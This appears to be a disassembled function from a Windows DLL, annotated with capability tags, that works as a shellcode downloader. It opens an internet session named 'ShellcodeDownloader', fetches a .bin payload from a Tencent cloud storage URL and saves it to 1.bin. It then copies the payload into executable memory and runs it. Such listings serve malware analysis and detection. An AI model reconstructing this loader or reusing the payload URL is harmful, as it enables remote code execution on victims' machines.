Function at 0x10001240
Capabilities:
Allocate or change rwx memory
Create http request
Execute shellcode via indirect call
Get system information on windows
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, 0x11c4
call fcn.10003c70
mov eax, dword [0x10007040]
xor eax, esp
mov dword [esp + 0x11c0], eax
push ebx
push esi
push edi
lea eax, [esp + 0x1a4]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
push 0
push 0
push 0
push 1
push str.ShellcodeDownloader
call dword [sym.imp.WININET.dll_InternetOpenA]
mov ebx, eax
test ebx, ebx
jne 0x100012c0
push 0x10002b30
push ecx
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, str.WinINet
call fcn.10002910
add esp, 4
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
xor eax, eax
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x11c0]
xor ecx, esp
call fcn.10002e56
mov esp, ebp
pop ebp
ret
push 0
push 0x80000000
push 0
push 0
push str.https:__wwwbin_1323737287.cos.ap_singapore.myqcloud.com_69.bin
push ebx
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov esi, eax
test esi, esi
jne 0x1000131c
push 0x10002b30
push ecx
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x100042dc
call fcn.10002910
add esp, 4
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
push ebx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
xor eax, eax
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x11c0]
xor ecx, esp
call fcn.10002e56
mov esp, ebp
pop ebp
ret
push 0xac
lea eax, [esp + 0xf8]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
mov dword [esp + 0xf0], 0x10004354
lea ecx, [esp + 0x158]
call dword [sym.imp.MSVCP140.dll_protected:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::constructor_void_]
push 0
push 0
lea eax, [esp + 0xfc]
push eax
lea ecx, [esp + 0xfc]
call dword [sym.imp.MSVCP140.dll_public:_void___thiscall_std::basic_ostream_char__struct_std::char_traits_char__::constructor_class_std::basic_streambuf_char__struct_std::char_traits_char_____bool_]
mov eax, dword [esp + 0xf0]
mov eax, dword [eax + 4]
mov dword [esp + eax + 0xf0], vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov eax, dword [esp + 0xf0]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x68]
mov dword [esp + ecx + 0xec], eax
lea ecx, [esp + 0xf4]
call dword [sym.imp.MSVCP140.dll_protected:_void___thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::constructor_void_]
lea ecx, [esp + 0xf4]
mov dword [esp + 0xf4], vtable.std::basic_filebuf_char__struct_std::char_traits_char__.0
mov byte [esp + 0x13c], 0
mov byte [esp + 0x131], 0
call dword [sym.imp.MSVCP140.dll_protected:_void___thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::_Init_void_]
mov ecx, dword [0x10007690]
mov eax, dword [0x1000768c]
push ecx
push 0x22
mov dword [esp + 0x140], ecx
push ecx
lea ecx, [esp + 0x100]
mov dword [esp + 0x14c], 0
mov dword [esp + 0x140], eax
mov dword [esp + 0x138], 0
call fcn.10002780
test eax, eax
jne 0x1000141f
push eax
mov eax, dword [esp + 0xf4]
lea ecx, [esp + 0xf4]
push 2
add ecx, dword [eax + 4]
call dword [sym.imp.MSVCP140.dll_public:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool_]
cmp dword [esp + 0x140], 0
jne 0x10001467
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x100042e8
push 0x10002b30
call fcn.10002910
push ecx
mov edx, str.1.bin
mov ecx, eax
call fcn.10002910
add esp, 4
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
push esi
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call esi
push ebx
call esi
jmp 0x1000176f
mov edi, dword [sym.imp.WININET.dll_InternetReadFile]
lea eax, [esp + 0x1c]
push eax
push 0x1000
lea eax, [esp + 0x1d0]
push eax
push esi
call edi
test eax, eax
je 0x100014bf
mov eax, dword [esp + 0x1c]
test eax, eax
je 0x100014bf
push 0
push eax
lea eax, [esp + 0x1d0]
push eax
lea ecx, [esp + 0xfc]
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const___long_long___int64__]
lea eax, [esp + 0x1c]
push eax
push 0x1000
lea eax, [esp + 0x1d0]
push eax
push esi
call edi
test eax, eax
jne 0x10001486
lea ecx, [esp + 0xf4]
call fcn.100026f0
test eax, eax
jne 0x100014e9
push eax
mov eax, dword [esp + 0xf4]
lea ecx, [esp + 0xf4]
push 2
add ecx, dword [eax + 4]
call dword [sym.imp.MSVCP140.dll_public:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool_]
push esi
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call esi
push ebx
call esi
push 0xb4
lea eax, [esp + 0x40]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
mov dword [esp + 0x38], 0x100043a4
lea ecx, [esp + 0xa8]
call dword [sym.imp.MSVCP140.dll_protected:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::constructor_void_]
push 0
push 0
lea eax, [esp + 0x50]
push eax
lea ecx, [esp + 0x44]
call dword [sym.imp.MSVCP140.dll_public:_void___thiscall_std::basic_istream_char__struct_std::char_traits_char__::constructor_class_std::basic_streambuf_char__struct_std::char_traits_char_____bool_]
mov eax, dword [esp + 0x38]
mov eax, dword [eax + 4]
mov dword [esp + eax + 0x38], vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov eax, dword [esp + 0x38]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x70]
mov dword [esp + ecx + 0x34], eax
lea ecx, [esp + 0x48]
call dword [sym.imp.MSVCP140.dll_protected:_void___thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::constructor_void_]
lea ecx, [esp + 0x48]
mov dword [esp + 0x48], vtable.std::basic_filebuf_char__struct_std::char_traits_char__.0
mov byte [esp + 0x90], 0
mov byte [esp + 0x85], 0
call dword [sym.imp.MSVCP140.dll_protected:_void___thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::_Init_void_]
mov ecx, dword [0x10007690]
mov eax, dword [0x1000768c]
push ecx
push 0x25
mov dword [esp + 0x94], ecx
push ecx
lea ecx, [esp + 0x54]
mov dword [esp + 0xa0], 0
mov dword [esp + 0x94], eax
mov dword [esp + 0x8c], 0
call fcn.10002780
test eax, eax
jne 0x100015ce
push eax
mov eax, dword [esp + 0x3c]
lea ecx, [esp + 0x3c]
push 2
add ecx, dword [eax + 4]
call dword [sym.imp.MSVCP140.dll_public:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool_]
cmp dword [esp + 0x94], 0
jne 0x1000160a
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x100042f8
push 0x10002b30
call fcn.10002910
push ecx
mov edx, str.1.bin
mov ecx, eax
call fcn.10002910
add esp, 4
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
jmp 0x10001766
lea eax, [esp + 0x20]
push eax
lea ecx, [esp + 0x3c]
call dword [sym.imp.MSVCP140.dll_public:_class_std::fpos_struct__Mbstatet____thiscall_std::basic_istream_char__struct_std::char_traits_char__::tellg_void_]
push 0
push 0
push 0
lea ecx, [esp + 0x44]
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______thiscall_std::basic_istream_char__struct_std::char_traits_char__::seekg_long_long___int64___int_]
mov eax, dword [esp + 0x20]
xor esi, esi
mov ecx, dword [esp + 0x28]
xor ebx, ebx
lea edi, [eax + ecx]
test edi, edi
je 0x10001699
cmp edi, 0x7fffffff
ja 0x10001798
cmp edi, 0x1000
jb 0x10001677
lea eax, [edi + 0x23]
cmp eax, edi
jbe 0x1000179d
push eax
call fcn.10002e95
add esp, 4
test eax, eax
je 0x10001792
lea esi, [eax + 0x23]
and esi, 0xffffffe0
mov dword [esi - 4], eax
jmp 0x10001682
push edi
call fcn.10002e95
add esp, 4
mov esi, eax
push edi
push 0
push esi
lea ebx, [esi + edi]
call sub.VCRUNTIME140.dll_memset
mov ecx, dword [esp + 0x34]
add esp, 0xc
mov eax, dword [esp + 0x20]
add ecx, eax
mov eax, dword [esp + 0x2c]
adc eax, dword [esp + 0x24]
push eax
push ecx
push esi
lea ecx, [esp + 0x44]
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______thiscall_std::basic_istream_char__struct_std::char_traits_char__::read_char___long_long___int64__]
lea ecx, [esp + 0x48]
call fcn.100026f0
test eax, eax
jne 0x100016d1
push eax
mov eax, dword [esp + 0x3c]
lea ecx, [esp + 0x3c]
push 2
add ecx, dword [eax + 4]
call dword [sym.imp.MSVCP140.dll_public:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool_]
mov ecx, dword [esp + 0x28]
add ecx, dword [esp + 0x20]
push 0x40
push 0x1000
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edi, eax
test edi, edi
jne 0x100016f6
mov edx, 0x10004308
jmp 0x10001720
mov eax, dword [esp + 0x20]
mov ecx, dword [esp + 0x28]
add eax, ecx
push eax
push esi
push edi
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
call edi
push 0x8000
push 0
push edi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov edx, str.Shellcode
push 0x10002b30
push ecx
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.10002910
add esp, 4
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
test esi, esi
je 0x10001766
sub ebx, esi
cmp ebx, 0x1000
jb 0x1000175c
mov ecx, dword [esi - 4]
add ebx, 0x23
sub esi, ecx
lea eax, [esi - 4]
cmp eax, 0x1f
ja 0x10001792
mov esi, ecx
push ebx
push esi
call fcn.10002e64
add esp, 8
lea ecx, [esp + 0x38]
call fcn.10001870
lea ecx, [esp + 0xf0]
call fcn.100017b0
mov ecx, dword [esp + 0x11cc]
xor eax, eax
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.10002e56
mov esp, ebp
pop ebp
ret
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
call fcn.10002db0
call fcn.100010d0
int3